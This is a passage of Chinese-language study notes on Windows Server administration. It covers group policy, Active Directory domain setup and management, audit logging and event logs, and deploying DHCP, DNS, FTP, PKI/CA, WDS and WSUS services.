- 组策略配置
- 计算机配置
策略
①.软件设置
②.Windows设置
③.管理模板
- 用户配置
策略
①.软件设置
②.Windows设置
③.管理模板
- 组策略配置应用规则
如果说AD(活动目录)是一个平台----（公司），把企业网络所有资源（用户、组、联系人、计算机、共享资源、打印机）进行了统一，那么，组策略就是对这些所有资源进行管理、约束的工具----（公司制度）。而组策略针对管理的最小单元为OU（组织单元）----（公司部门），一个OU可以包含（用户、组、计算机、共享资源、打印机），一个部门可包含很多资源，但这些资源必须要收到制度的管制。而OU里最主要的对象为“用户”及“计算机”，组策略针对这两种对象直接生效。
- 组策略分为
①.计算机策略：计算机策略需要计算机重启才生效
②.用户策略：需要用户注销才生效 - 组策略更新周期
①.自动更新方式
启动的时候计算机策略和用户策略都会刷新
域控制5分钟更新一次，客户机90分钟更新一次
②.手动更新方式
gpupdate /target:user /force (仅用户)
gpupdate /target:computer /force (仅计算机)
gpupdate /force (计算机与用户一起)
- 组策略应用顺序
每台运行Windows系统的计算机都有本地组策略，如果计算机在工作组环境下，将只应用本地组策略。如果计算机加入域，则除了受到本地组策略的影响，还可能会受到站点，域和oU的组策略影响。对于这些在不同位置设置的组策略，必须要搞请楚其应用顺序和优先级，在应用时才不至于混乱。总体上，组策略按如下顺序应用:
①.首先应用本地组策略。
②.如果有站点组策略，则应用之。
③.然后应用域组策略。
④.如果计算机或用户属于某个OU,则应用OU上的组策略。
⑤.如果计算机或用户属于某个OU的子OU,则应用子OU上的组策略一。
⑥.如果同个容器下链接了多个组策略对象，则按照链接顺序逐个应用。
十、WindowsServer搭建AD域
- 首先打开“网络和共享中心”
- 查看以太网的“详细信息”
- 查看“网络连接详细信息”
- 点击“属性”
- 选择“Internet协议版本4”
- 设计服务器固定IP
- 选择“添加角色和功能”
- 下一步（后面就按照图片所示，一只下一步）
注意：此处可指定ad域的数据库,日志,以及sysvol文件的保存位置,生产环境下需要结合实际情况设置,现在我们保持默认
注意：此处用来显示安装信息，点击查看脚本,把脚本存在本地
注意：安装过程会自动重启
用cmd，输入
dsa.msc
打开“Active Directory用户和计算机”
结束
十一、Windows域服务
- 域的含义
- Windows域是计算机网络的一种形式，其中所有用户帐户 ，计算机，打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户，然后可以为该帐户分配对该域内资源的访问权限。 从Windows Server 2003开始 ， Active Directory是负责维护该中央数据库的Windows组件。Windows域的概念与工作组的概念形成对比，在该工作组中，每台计算机都维护自己的安全主体数据库。
- 域英文叫DOMAIN——域(Domain)是Windows网络中独立运行的单位，域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后，2个域之间不但可以按需要相互进行管理，还可以跨网分配文件和打印机等设备资源，使不同的域之间实现网络资源的共享与管理，以及相互通信和数据传输。
域既是 Windows 网络操作系统的逻辑组织单元，也是Internet的逻辑组织单元，在 Windows 网络操作系统中，域是安全边界。域管理员只能管理域的内部，除非其他的域显式地赋予他管理权限，他才能够访问或者管理其他的域，每个域都有自己的安全策略，以及它与其他域的安全信任关系。 - 在今天很多人都有意识或无意识的跟域这个东西打过交道。如果你在公司里使用电脑，并且你的电脑接入了公司的局域网，那你的电脑很可能就在一个域中。如何查看你的电脑是否连接到一个域中，输入CMD命令，ipconfig /all 看有无域信息
- 域的原理
- 其实可以把域和工作组联系起来理解，在工作组上你一切的设置在本机上进行包括各种策略，用户登录也是登录在本机的，密码是放在本机的数据库来验证的。而如果你的计算机加入域的话，各种策略是域控制器统一设定，用户名和密码也是放到域控制器去验证，也就是说你的账号密码可以在同一域的任何一台计算机登录。
- 如果说工作组是“免费的旅店”那么域（Domain）就是“星级的宾馆”；工作组可以随便出出进进，而域则需要严格控制。“域”的真正含义指的是服务器控制网络上的计算机能否加入的计算机组合。一提到组合，势必需要严格的控制。所以实行严格的管理对网络安全是非常必要的。在对等网模式下，任何一台电脑只要接入网络，其他机器就都可以访问共享资源，如共享上网等。尽管对等网络上的共享文件可以加访问密码，但是非常容易被破解。在由Windows 9x构成的对等网中，数据的传输是非常不安全的。
- 不过在“域”模式下，至少有一台服务器负责每一台联入网络的电脑和用户的验证工作，相当于一个单位的门卫一样，称为“域控制器（Domain Controller，简写为DC）”。
- 域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当电脑联入网络时，域控制器首先要鉴别这台电脑是否是属于这个域的，用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确，那么域控制器就会拒绝这个用户从这台电脑登录。不能登录，用户就不能访问服务器上有权限保护的资源，他只能以对等网用户的方式访问Windows共享出来的资源，这样就在一定程度上保护了网络上的资源。
- 要把一台电脑加入域，仅仅使它和服务器在网上邻居中能够相互“看”到是远远不够的，必须要由网络管理员进行相应的设置，把这台电脑加入到域中。这样才能实现文件的共享，集中统一，便于管理。
- 域的作用
- 域已经成为绝大多数公司组织、连接电脑的一种方式。那么我们究竟为什么要使用域？它能给我们带来什么好处呢？假设你是公司的系统管理员，你们公司有一千台电脑。如果你要为每台电脑设置登录帐户，设置权限(比如是否允许登录帐户安装软件)，那你要分别坐在这一千台电脑前工作。如果你要做一些改变，你也要分别在这一千台电脑上修改。相信没有哪个管理员想要用这种不吃不喝不睡觉的方式来工作，所以就应运而生了域的概念。
- 还以Windows为例，在微软的世界中，一个域是由一个或多个域控制器(domain controller)来控制的（其实域控制器并不神秘，无非就是装了一些特别软件的电脑）。其他的电脑加入该域，就要接受域控制器的控制。域控制器中有两个重要的表，一个是加入该域的电脑的列表，另一个表用来保存叫做活动目录(Active Directory)的东西。活动目录就是你登录公司网络的帐户。活动目录中存储着你的权限。你在某台电脑上登录，你键入用户名和密码，你的电脑首先要把你的登录信息发送到域控制器，域控制器首先核实你的登录信息是否正确，然后把一个叫access key的东西返还给你登录的电脑。这个access key中就包含着你的权限，由它来决定你是否可以安装软件，或者使用打印机等等。
- 有了域以后，作为管理员，你就可以坐在一台电脑前，登录到域控制器上，对一切权限进行控制，而不用跑到每台电脑前进行设置了。工作效率提高了很多，但是还不够。假设公司有一千名员工，你是否要在域控制器中对这一千个人分别进行权限的设置呢？这听起来也是一件很麻烦的事。其实很多员工的权限都是相同的，那我们可不可以对这些相同的权限只设置一次，然后将该权限分配给相关的员工呢？答案就是使用分组(Group)。比如在学校里，我们设置学生组和教师组。在某台电脑上我们设置一个共享文件夹，学生组的权限是不可访问，而教师组可以对该文件夹进行访问。我们将不同的用户放入不同的分组里，然后对组进行权限设置，这样就免去了我们要对每个用户进行设置的麻烦。比组更大的单位是组织单位(Organization Unit)，一个组织单位可以包含用户，组，资源（电脑，打印机等），还可以包含其他组织单位。举个简单的例子，有一个商场中的电脑加入了该商场的域，但是该电脑放置在公共场合，有很大的风险，所以我们可以将该电脑放置在一个单独的组织单位中，然后对该组织单位进行权限设置，比如不论谁在该组织单位中登录，都不可以修改他的密码。
- 在很多的实际情况中，一个公司又有下面的子公司，所以就造成母公司有一个域，而子公司也有一个单独的域。母公司的域与子公司的域如何联系起来呢？我们可以在它们之间建立一种叫信任(Trust)的关系。如果母公司的帐户想要能够登录到子公司的域中，子公司的域就要对母公司的域建立信任关系。当母公司域的帐户想要登录到子公司域中时，子公司域由于信任母公司的域，所以它会听从从母公司域的域控制器返回的access key。反过来，由于母公司的域没有建立对子公司的信任，所以如果子公司的帐户想要登录到母公司的域中是不可能的。所以如果企业网络中计算机和用户数量较多时，要实现高效管理，就需要Windows域。
- 域的配置
- 要建立域进行管理，首先需安装域控制器（dc），dc上存储着域中的信息资源，如名称、位置和特性描述等信息。通过在一台服务器上安装活动目录（AD），就会将这台计算机安装成dc。
- 安装条件
①.安装者必须具有本地管理员的权限
②.操作系统版本必须满足条件（Windows server2003除web以外的所有都满足）
③.本地磁盘必须有一个NTFS文件系统
④.有TCP/IP设置
⑤.有相应的DNS服务器支持
⑥.有足够的可用空间 - 安装活动目录（AD）步骤
①.打开ad开始–运行输入
dcpromo
②.是否创建新域。 dc有两种新域的域控和现有域的额外域控制器。一般选择新域的域控
③.新域的DNS全名
④.新域的NetBIOS名。下一步
⑤.数据库和日志文件夹。 为了优化性能，可以将数据库和日志放在不同的硬盘上。该文件夹不一定在NTFS分区。如果本计算机是域的第一台域控，则sam数据库就会升级到
C:\windows\ntds\ntds.dit
本地用户账户变成域用户账户
⑥.共享的系统卷。 共享系统卷SYSVOL文件夹存放的位置必须是NTFS文件系统
⑦.DNS注册诊断。 AD需要DNS服务支持。选第二项，下一步
⑧.域兼容性。 如果网络中不存在Windows server 2003 以前版本的域控制器，就选第二项。如果存在选第一项
⑨.还原模式密码。 目录服务还原模式的管理员密码，是在目录服务还原模式下登录系统时使用。由于目录服务还原模式下，所有的域账户用户都不能使用，只有使用这个还原模式管理员账户登录
⑩.安装完成后需重启计算机
十二、Windows域控管理与日志管理
- 域控的含义
- Windows域为网络管理员提供了一种方法来管理大量的pc机，并从一个地方控制它们。一个或多个服务器(称为域控制器)控制域及其上的计算机。在“域”模式下，至少有一台服务器负责每一台联入网络的电脑和用户的验证工作，相当于一个单位的门卫一样，称为“域控制器（Domain Controller，简写为DC）”。 域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当电脑联入网络时，域控制器首先要鉴别这台电脑是否是属于这个域的，用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确，那么域控制器就会拒绝这个用户从这台电脑登录。不能登录，用户就不能访问服务器上有权限保护的资源，他只能以对等网用户的方式访问Windows共享出来的资源，这样就在一定程度上保护了网络上的资源。域控是活动目录的存储地方，也就是说活动目录存储在域控制器内。安装了活动目录的计算机就称为域控制器，其实在你第一次安装活动目录的时候，你安装活动目录的那台计算机就成为了域控制器。一个域可以有一台或多台域控制器。最经典的做法是做一个主辅域控。
- 域控的管理
- 域用户账户的管理
①.创建域用户的账户
②.配置域用户账户属性
③.验证用户的身份
④.授权或拒绝对域资源的访问 - 组分为安全组和通讯组
安全组： 安全组有安全表示（SID），能够给其授权访问本地资源或网络资源。即能授权访问资源，也可以利用其群发电子邮件
通讯组： 通迅组没有安全标识（SID），不能授权其访问资源，只能用来群发电子邮件 - 组是账户的集合，通过对组分配权限实现对组内用户的权限分配
域本地组，多域用户访问单域资源。 可以从任何域添加用户账户、通用组和全局组，只能在其所在域内指派权限。域本地组不能嵌套于其他组中。它主要是用于授予位于本域资源的访问权限。
全局组，单域用户访问多域资源（必须是同一个域里面的用户）。 只能在创建该全局组的域上进行添加用户和全局组，可以在域林中的任何域中指派权限，全局组可以嵌套在其他组中。
通用组，通用组成员来自域林中任何域中的用户账户、全局组和其他的通用组，可以在该域林中的任何域中指派权限，可以嵌套于其他域组中。 非常适于域林中的跨域访问。
简单理解域本地组： 来自全林用于本域全局组：来自本域用于全林通用组：来自全林用于全林
- 组织单位OU的管理
OU概念
OU是AD中的容器， 可在其中存放用户、组、计算机和其他OU，而且可以设置组策略
OU应用基于部门， 如行政部、人事部；基于地理位置，如北京、上海；基于对象，如用户、计算机
- 容器与组织单位容器（Container）与对象相似，它有自己的名称，也是一些属性的集合，不过容器内可以包含其他对象（例如用户、计算机等对象)，还可以包含其他容器。
- 组织单位（Organization Units，OU)是一个比较特殊的容器，其中除了可以包含其他对象与组织单位之外，还有组策略（Group Policy）的功能。
- 默认的容器和单位组织
Builtin容器： Builtin容器是Active Driectory默认创建的第一个容器，主要用于保存域中本地安全组。
Computers容器： Computers容器是Active Driectory默认创建的第2个容器，用于存放Windows Server 域内所有成员计算机的计算机账号。
Domain Controllers组织单位： Domain Controllers是一个特殊的容器，主要用于保存当前域控制器下创建的所有子域和辅助域。
Users容器： Users容器主要用于保存安装Active Driectory时系统自动创建的用户和登录到当前域控制器的所有用户账户。
- 添加额外域控制器（BDC）在一个域中，一般域控服务器至少有2个或者以上。所以，我们得添加额外的域控服务器。在任何一台域控制器上都可以修改AD中的内容，每台域控制器上AD中的内容都是同步的添加额外域控制器的条件：
具有域管理权限
计算机TCP/IP，DNS服务配置正确
操作系统版本支持 - 添加额外域控制器的步骤：
查看当前域功能级别将计算机加入当前域运行dcpromo命令安装活动目录 - 计算机配置成域控服务器后，或计算机加入一个域后，会发现本地的安全策略已经呈灰色的，配置不了了。在一个域中，通过在域控服务器上配置组策略，来对域中的主机或域中的用户去设置策略
- 组策略功能账户策略设置本地策略设置脚本设置用户工作环境的设置软件的安装与删除限制软件运行文件夹的重定向限制访问可移动设备
- 组策略优点
减小管理成本，只需设置一次，相应的计算机或用户即可应用，减小用户单独配置错误的可能性，可以针对特定对象设置特定的策略。组策略对象GPO（Group Policy Object）的概念：存储组策略的所有配置信息，AD中的一种特殊对象默认GPO：默认域策略，默认域控制器策略GPO链接：只能链接到站点，域，OU
- 组策略应用规则
策略继承与阻止： 下级容器可以继承或阻止应用其上级容器的GPO设置
策略累加与冲突： 多个GPO设置可以累加或发生冲突被覆盖
策略强制生效： 使下级容器强制执行其上级容器的GPO设置
筛选： 阻止一个容器内的用户或计算机应用其GPO设置 - 策略继承与阻止
下级容器默认会继承来自上级容器的GPO ，子容器可以阻止继承上级容器的GPO ，右击容器→阻止继承策略
累加与冲突如果多个组策略设置不冲突，则最终的有效策略是所有组策略设置的累加 如果多个组策略设置冲突，则后应用的组策略覆盖先应用的组策略 - 组策略应用顺序
①.首先应用本地组策略
②.如果有站点组策略，则应用
③.接着应用域策略
④.最后应用OU上的策略
⑤.如果同一个OU上链接了多个GPO，则按照链接顺序从高到低逐个应用策略强制生效
⑥.强制生效是上级容器强制下级容器执行其GPO设置筛选
⑦.筛选可以阻止一个GPO应用于容器内的特定计算机或用户 委派→权限设置
- 日志含义
- Window事件日志简介
Windows系统日志是记录系统中硬件、软件和系统问题的信息，同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因，或者寻找受到攻击时攻击者留下的痕迹。
Windows主要有以下三类日志记录系统事件：应用程序日志、系统日志和安全日志。 - 系统日志
记录操作系统组件产生的事件，主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。默认位置：
%SystemRoot%\System32\Winevt\Logs\System.evtx
- 应用程序日志
包含由应用程序或系统程序记录的事件，主要记录程序运行方面的事件，例如数据库程序可以在应用程序日志中记录文件错误，程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况，那么我们可以从程序事件日志中找到相应的记录，也许会有助于你解决问题。 默认位置：
%SystemRoot%\System32\Winevt\Logs\Application.evtx
- 安全日志
记录系统的安全审计事件，包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下，安全性日志是关闭的，管理员可以使用组策略来启动安全性日志，或者在注册表中设置审核策略，以便当安全性日志满后使系统停止响应。默认位置：
%SystemRoot%\System32\Winevt\Logs\Security.evtx
- 日志的管理
-
审核策略与事件查看器
Windows Server 2016 系统的审核功能在默认状态下并没有启用 ，建议开启审核策略，若日后系统出现故障、安全事故则可以查看系统的日志文件，排除故障，追查入侵者的信息等。
PS：默认状态下，也会记录一些简单的日志，日志默认大小20M
设置1：开始 → 管理工具 → 本地安全策略 → 本地策略 → 审核策略，参考配置操作：
帐户管理： 审核创建、更改、删除用户帐户或组，修改密码，禁用、启用、重命名用户帐户等；
登录事件： 审核每个用户帐户登录或注销成功还是失败；
系统事件： 审核对系统安全有影响的事件、重启或关闭计算机事件等；
特权使用： 审核用户实施其权利的每一个实例；
目录服务访问： 审核用户访问那些指定自己的系统访问控制列表（SACL）的 Active Directory（活动目录）对象的事件；
对象访问： 审核用户访问文件、文件夹、注册表、打印机等对象，这些对象都有特定的系统访问控制列表（SACL）；
策略更改： 审核用户权限分配策略、审核策略、信任策略更改的每一个事件；
帐户登录事件： 审核在这台计算机用于验证帐户时，用户登录到其它计算机或从其它计算机注销的每个实例；
过程跟踪： 审核“程序激活、进程退出、句柄复制、间接对象访问”等事件的详细跟踪信息。 -
设置2：设置合理的日志属性，即日志最大大小、事件覆盖阀值等：
-
事件日志分析
对于Windows事件日志分析，不同的EVENT ID代表了不同的意义，摘录一些常见的安全事件的说明：
每个成功登录的事件都会标记一个登录类型，不同登录类型代表不同的方式：
十三、Windows常见服务及部署
- DHCP协议
- DHCP服务
动态主机配置协议是一个局域网的网络协议。指的是由服务器控制一段IP地址范围，客户机登录服务器时就可以自动获得服务器分配的IP地址和子网掩码。担任DHCP服务器的计算机需要安装TCP/IP协议，并为其设置静态IP地址、子网掩码、默认网关等内容。
部署DHCP服务的好处：
①.减少管理员的工作量
②.避免输入错误的可能
③.避免ip地址冲突
④.当网络更改ip地址段时，不需要再重新配置每一个用户的ip地址
⑤.提高了ip地址的利用率
⑥.方便客户端的配置
- DHCP工作原理
分配方式
在DHCP的工作原理中，DHCP服务器提供了三种IP分配方式：自动分配(Automatic allocation)、手动分配和动态分配（Dynamic Allocation）。
自动分配： 是当DHCP客户端第一次成功的从DHCP服务器获取一个IP地址后，就永久的使用这个IP地址。
手动分配： 是由DHCP服务器管理员专门指定的IP地址
动态分配： 是当客户端第一次从DHCP服务器获取到IP地址后，并非永久使用该地址，每次使用完后，DHCP客户端就需要释放这个IP，供其他客户端使用。（最常见的使用形式）
(1)客户机寻找服务器： 广播发送discover包，寻找dhcp服务器
(2)服务器响应请求： 单播发送offer包，对客户机做出响应。提供客户端网络相关的租约以供选择其中服务器在收到客户端的请求后，会针对客户端的mac地址与本身的设定数据进行一下工作：
a)到服务器的登录文件中寻找该用户之前曾经使用过的ip，若有且该ip目前没有人使用，这提供此ip为客户机
b)若配置文件中有针对该mac提供额外的固定ip，且该ip没有被使用，则提供此ip给客户机
c)如果没有符合以上两个条件，则随机取用目前没有被使用的ip参数给客户机并记录到leases文件中。
(3)客户机发送ip请求： 广播request包，选择一个服务器提供的网络参数租约回报服务器。此外，客户机会发送一个广播封包给局域网内的所有主机，告知自己已经接受服务器的租约。
(4)服务器确认租约： 单播Ack包，服务器与客户机确认租约关系并记录到服务器的leases文件中 。
- DHCP涉及概念简介
DHCP Client： DHCP客户端，通过DHCP协议请求IP地址的客户端。DHCP客户端是接口级的概念，如果一个主机有多个以太接口，则该主机上的每个接口都可以配置成一个DHCP 客户端。交换机上每个Vlan接口也可以配置成一个DHCP客户端
DHCP Server： DHCP 服务端，负责为DHCP客户端提供IP地址，并且负责管理分配的IP地址
DHCP Relay： DHCP中继器，DHCP客户端跨网段申请IP地址的时候，实现DHCP报文的转发功能
DHCP Security： DHCP安全特性，实现合法用户IP地址表的管理功能
DHCP Snooping： DHCP监听，记录通过二层设备申请到IP地址的用户信息 - Windows server 2016部署DHCP服务
①.首先打开服务器管理台，点击“添加角色和功能”
②.在此页面选择要部署DHCP的服务器
③.在服务器角色中勾选DHCP服务器
④.一路点击下一步直至安装，等待安装完成后关闭此页面即可
- DNS服务器
DNS（Domain Name Server，域名服务器）是进行域名(domain name)和与之相对应的IP地址 (IP address)转换的服务器。DNS中保存了一张域名(domain name)和与之相对应的IP地址 (IP address)的表，以解析消息的域名。 域名是Internet上某一台计算机或计算机组的名称，用于在数据传输时标识计算机的电子方位（有时也指地理位置）。域名是由一串用点分隔的名字组成的，通常包含组织名，而且始终包括两到三个字母的后缀，以指明组织的类型或该域所在的国家或地区。
把域名翻译成IP地址的软件称为域名系统，即DNS。它是一种管理名字的方法。这种方法是：分不同的组来负责各子系统的名字。系统中的每一层叫做一个域，每个域用一个点分开。所谓域名服务器（即Domain Name Server，简称Name Server）实际上就是装有域名系统的主机。它是一种能够实现名字解析（name resolution）的分层结构数据库。
- DNS服务器类型
主名称服务器(primary name server)
从域管理员构造的本地磁盘文件中加载域信息，该文件（区域文件）包含着该服务器具有管理权的一部分域结构的最精确信息。主服务器是一种权威性服务器，因为它以绝对的权威去回答对其管辖域的任何查询。
从名称服务器(secondary name server)
它可从主服务器中复制一整套域信息。区域文件是从主服务器中复制出来的，并作为本地磁盘文件存储在辅助服务器中。这种复制称为”区域文件复制”。在辅助域名服务器中有一个所有域信息的完整拷贝，可以有权威地回答对该域的查询。因此，辅助域名服务器也称作权威性服务器。配置辅助域名服务器不需要生成本地区文件，因为可以从主服务器中下载该区文件。
唯高速缓存名称服务器(caching-only server)
可运行域名服务器软件，但是没有域名数据库软件。它从某个远程服务器取得域名服务器查询的结果，一旦取得一个，就将它放在高速缓存中，以后查询相同的信息时就用它予以回答。高速缓存服务器不是权威性服务器，因为它提供的所有信息都是间接信息。当BIND被配置为缓存服务器的时候，它只会回应已缓存的请求，并将所有其他的请求转发到上游的 DNS 服务器。缓存名称服务器只需要这个zone file文件即可。
作用：将域名解析成IP地址
解析方式：
正向解析：域名解析IP
反向解析：IP解析出域名
DNS服务器中存储着大量的IP和域名映射记录，它的记录文件也分为正向解析文件和反向解析文件，正向解析文件中存储的记录称为A记录，A记录记录着域名和IP的映射关系，反向解析文件中存储的记录称为PTR指针，PTR记录着IP和域名的映射关系。
DNS服务既属于TCP协议有属于UDP协议，端口号为53号
Aname解析： 指定主机名（或域名）对应的IP地址记录。
Cname解析： 别名解析，是主机名到主机名的映射。当需要将域名指向另一个域名，再由另一个域名提供 IP 地址，就需要添加 CNAME 记录，最常用到 CNAME的场景包括做CDN、企业邮箱、全局流量管理等。与A记录不同的是，CNAME别名记录设置的值不是一个固定的IP，而是主机的别名地址。
-
PPTP协议
PPTP(Point to Point Tunneling Protocol)，即点对点隧道协议。 该协议是在PPP协议的基础上开发的一种新的增强型安全协议，支持多协议虚拟专用网(VPN)，可以通过密码验证协议(PAP)、可扩展认证协议(EAP)等方法增强安全性。
PPTP 只能通过 PAC 和 PNS 来实施，其它系统没有必要知道 PPTP。拨号网络可与 PAC 相连接而无需知道 PPTP。标准的 PPP 客户机软件可继续在隧道 PPP 链接上操作。
PPTP 使用 GRE 的扩展版本来传输用户 PPP 包。这些增强允许为在 PAC 和 PNS 之间传输用户数据的隧道提供低层拥塞控制和流控制。这种机制允许高效使用隧道可用带宽并且避免了不必要的重发和缓冲区溢出。
PPTP 没有规定特定的算法用于底层控制，但它确实定义了一些通信参数来支持这样的算法工作。
PPTP控制连接数据包包括一个IP报头，一个TCP报头和PPTP控制信息。 -
FTP服务
- FTP介绍
FTP 是File Transfer Protocol（文件传输协议）的英文简称，而中文简称为“文传协议”。 用于Internet上的控制文件的双向传输。同时，它也是一个应用程序（Application）。基于不同的操作系统有不同的FTP应用程序，而所有这些应用程序都遵守同一种协议以传输文件。在FTP的使用当中，用户经常遇到两个概念：“下载”（Download）和"上传"（Upload）。"下载"文件就是从远程主机拷贝文件至自己的计算机上；"上传"文件就是将文件从自己的计算机中拷贝至远程主机上。用Internet语言来说，用户可通过客户机程序向（从）远程主机上传（下载）文件。 - FTP服务搭建
①.首先打开服务器管理台，点击“添加角色和功能”
②.安装IIS/FTP角色，选择Web服务器（IIS），然后选择FTP服务，直到安装完成
③.选择FTP服务，直到安装完成
④.在IIS管理器中查看，FTP服务安装成功
- PKI原理
- PIK介绍
公钥基础设施PKI（Public Key Infrastructure），是通过使用公钥技术和数字证书来提供系统信息安全服务，并负责验证数字证书持有者身份的一种体系。PKI技术是信息安全技术的核心，也是电子商务的关键和基础技术。PIK保证了通信数据的私密性、完整性、不可否认性和 源认证性 。 - 为什么要用PKI
IPSec身份认证（预共享密钥方式）： 配置简单。只需要在总部和二分部的网关上配相同的密钥即可。维护复杂。随着分部数量越来越多，总部和每个分部之间形成的对等体都要配置预共享秘钥。安全风险高。如果所有对等体都使用同一个密钥，存在安全风险。
IPSec身份认证（PIK中的证书认证方式）： 维护简单。随着分部数量越来越多，只需要向CA申请证书即可。安全风险低。不同的分部使用不同的证书，对应的密钥也不同。 - PKI的组成
一个PKI体系由终端实体、证书认证机构、证书注册机构和证书/CRL存储库四部分共同组成。
认证机构（CA）：即数字证书的申请及签发机关，CA 必须具备权威性的特征。
数字证书库：用于存储已签发的数字证书及公钥，用户可由此获得所需的其他用户的证书及公钥。
密钥备份及恢复系统：如果用户丢失了用于解密数据的密钥，则数据将无法被解密，这将造成合法数据丢失。为避免这种情况，PKI 提供备份与恢复密钥的机制。但须注意，密钥的备份与恢复必须由可信的机构来完成。并且，密钥备份与恢复只能针对解密密钥，签名私钥为确保其性而不能够作备份。
证书作废系统：证书作废处理系统是 PKI 的一个必备的组件。与日常生活中的各种身份证件一样，证书有效期以内也可能需要作废，原因可能是密钥介质丢失或用户身份变更等。为实现这一点，PKI 必须提供作废证书的一系列机制。
应用接口（API）：PKI 的价值在于使用户能够方便地使用加密、数字签名等安全服务，因此一个完整的 PKI 必须提供良好的应用接口系统，使得各种各样的应用能够以安全、一致、可信的方式与 PKI 交互，确保安全网络环境的完整性和易用性。 - PKI的核心部分CA
CA介绍：证书认证机构CA（Certificate Authority）。CA是PKI的信任基础，是一个用于颁发并管理数字证书的可信实体。它是一种权威性、可信任性和公正性的第三方机构，通常由服务器充当，例如Windows Server 2016。CA通常采用多层次的分级结构，根据证书颁发机构的层次，可以划分为根CA和从属CA。CA的核心功能就是发放和管理数字证书，包括：证书的颁发、证书的更新、证书的撤销、证书的查询、证书的归档、证书废除列表CRL（Certificate Revocation List）的发布等。有关CA的特性：
①.仅仅只有一个受信任的介绍者(证书颁发机构)
②.CA签署每一个人的公钥
③.每个人都有CA的公钥
CA颁发证书流程： 每个实体都要获取CA的公钥（认证CA的过程）每个实体都要提交自己的公钥给CA（注册到PKI）这个初始步骤，必须手动认证或者通过一个可信任的传输网络来执行。CA使用自己的私钥为提交的公钥做数字签名。被数字签了名的公钥（身份证书）再返回给实体。实体现在可以通过非信任的网络来彼此交换被CA签了名的公钥了。收到的公钥都是被CA的公钥所确认的，CA的公钥在每个实体本地必须是有效的。
- CA服务器
我们可以将CA服务器，理解为：数字证书（即网络中的个人虚拟身份证）的发放和管理的服务器。
为保证网上数字信息的传输安全，除了在通信传输中采用更强的加密算法等措施之外，必须建立一种信任及信任验证机制，即参加电子商务的各方必须有一个可以被验证的标识，这就是数字证书。
数字证书是各实体(持卡人/个人、商户/企业、网关/银行等)在网上信息交流及商务交易活动中的身份证明。该数字证书具有唯一性。它将实体的公开密钥同实体本身联系在一起，为实现这一目的，必须使数字证书符合X.509国际标准，同时数字证书的来源必须是可靠的。这就意味着应有一个网上各方都信任的机构，专门负责数字证书的发放和管理，确保网上信息的安全，这个机构就是CA认证机构。各级CA认证机构的存在组成了整个电子商务的信任链。如果CA机构不安全或发放的数字证书不具有权威性、公正性和可信赖性，电子商务就根本无从谈起。 - SSL连接
SSL协议,当前版本为3.1(SSL3.1就是TLS1.0)。 它已被广泛地用于Web浏览器与服务器之间的身份认证和加密数据传输.它位于TCP/IP协议与各种应用层协议之间，为数据通讯提供安全支持。SSL协议可分为两层：
SSL记录协议（SSL Record Protocol）： 它建立在可靠的传输协议（如TCP）之上，为高层协议提供数据封装、压缩、加密等基本功能的支持。
SSL握手协议（SSL Handshake Protocol）： 它建立在SSL记录协议之上，用于在实际的数据传输开始前，通讯双方进行身份认证、协商加密算法、交换加密密钥等。 - WDS服务
WDS的全称为Windows部署服务，主要应用于大中型网络中的计算机操作系统的批量化部署。通过使用WDS可以管理映像以及无人参与安装脚本的方式，大大提升部署操作系统的速度。
使用WDS的主要优势：
①.降低部署难度以及手动安装效率低而付出的成本
②.允许基于网络安装Windows操作系统
③.可以将操作系统安装到未安装操作系统的计算机上
- WDS工作原理
①.客户端在启动过程中，通过DHCP服务器得到IP地址配置信息。
②.客户端通过广播或DHCP查找到WDS服务器，并尝试连接它，启动特定的启动映像，就是Win PE。
③.客户端开始安装WDS服务器上的操作系统映像，完成所有安装工作。
注意：如果要保证WDS完成系统的自动分发，至少要保证以下几个组件的正常安装。
①.DNS：域名解析服务，主要用于查找域控制器和名称的解析服务
②.DHCP：动态主机配置协议，主要用于向需要安装操作系统的客户机分配IP地址
③. AD服务：活动目录服务，主要用于用户的身份验证
- 安装WDS服务
①.打开服务器管理器，添加角色
②.在服务器角色中，勾选“Windows部署服务”，下一步
③.在角色服务中，选择“部署服务器”、“传输服务器”点击下一步，直至安装成功
- WSUS服务器
WSUS： windows server update services，是微软推出的一款补丁服务器，可以依据具体环境搭建WSUS服务器，有效解决公司内部网络中不同版本的windows客户端计算机面对众多系统补丁不知所措，同时强制客户端重启时安装补丁避免客户端计算机遭受攻击的危险，以及大量客户端下载补丁造成的带宽浪费现象。
WSUS补丁服务器部署在企业中，可以有以下几种部署拓扑：
单服务器拓扑： 利用一个WSUS服务器从微软的更新网站下载补丁，然后负责将补丁发给内网用户。为大多数中小公司的最佳选择。
链式拓扑： 定义了上游服务器和下游服务器，上游服务器可以直接连接到微软的更新网站，下游服务器则只能从上游服务器下载更新。此类拓扑为总公司/分公司的管理模型中常见。考虑到性能因素，链式拓扑很少超过三层。
分离式拓扑： 指与互联网隔离的网络内，WSUS服务器无法从微软网站进行补丁更新，只能先用一个能连接互联网的WSUS服务器下载所需补丁，然后将下载的补丁导出成数据。隔离网络内的WSUS服务器通过导入数据来间接完成补丁下载。此拓扑常用于保密无法连入公网单位。
- 安装WSUS服务器角色
①.在“服务器管理器”中，单击“仪表板”，然后单击“添加角色和功能”
②.在服务角色中勾选“Windows Server”更新服务 , 下一步
③.功能向导中勾选“ .Net Framework 3.5功能”，下一步
④.在角色服务向导中，我们选择默认的选项，第一个是WID数据库，WSUS可以使用SQL数据库，也可以使用自带的WID数据库，一般我们都使用自带的数据库，除非公司的要求很高，数据库管理员需要用数据库自带的报表服务器或者提供NLB功能，否则都用自带WID数据库
⑤.这里需要指定补丁更新包的存放路径 (本例放在C:\WSUS)
